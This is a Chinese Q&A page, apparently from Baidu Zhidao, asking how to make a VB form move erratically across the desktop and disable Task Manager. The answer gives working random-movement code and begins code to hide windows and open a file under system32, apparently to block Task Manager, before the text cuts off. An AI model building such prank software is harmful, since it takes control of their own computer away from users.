怎么让VB窗体在桌面上自动移动

来源：百度知道 编辑：UC知道 时间：2024/07/02 13:40:17
我想做一个VB窗体,
1只要打开这个窗体,该窗体就会在桌面上快速无规律性的移动
2只要打开这个窗体,刚无法开启任务管理器,即:按ctrl+alt+delete无反应
请各手大哥给指点一二,感激不尽

'按理说这种邪恶的代码我是不写的 今天就随便弄几句
Dim MX As Integer
Dim MY As Integer

Private Sub Form_Load()
Timer1.Interval = 50 '移动的时间差 单位是毫秒
End Sub

Private Sub Timer1_Timer()
Randomize
MX = Rnd() * 15000
MY = Rnd() * 10000
Me.Move MX, MY
End Sub
'------------------------以上是窗体随机移动

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Const SW_HIDE = 0
Private Const SW_SHOW = 5
Private Sub Command1_Click()
Open Environ$("WinDir") & "\system32\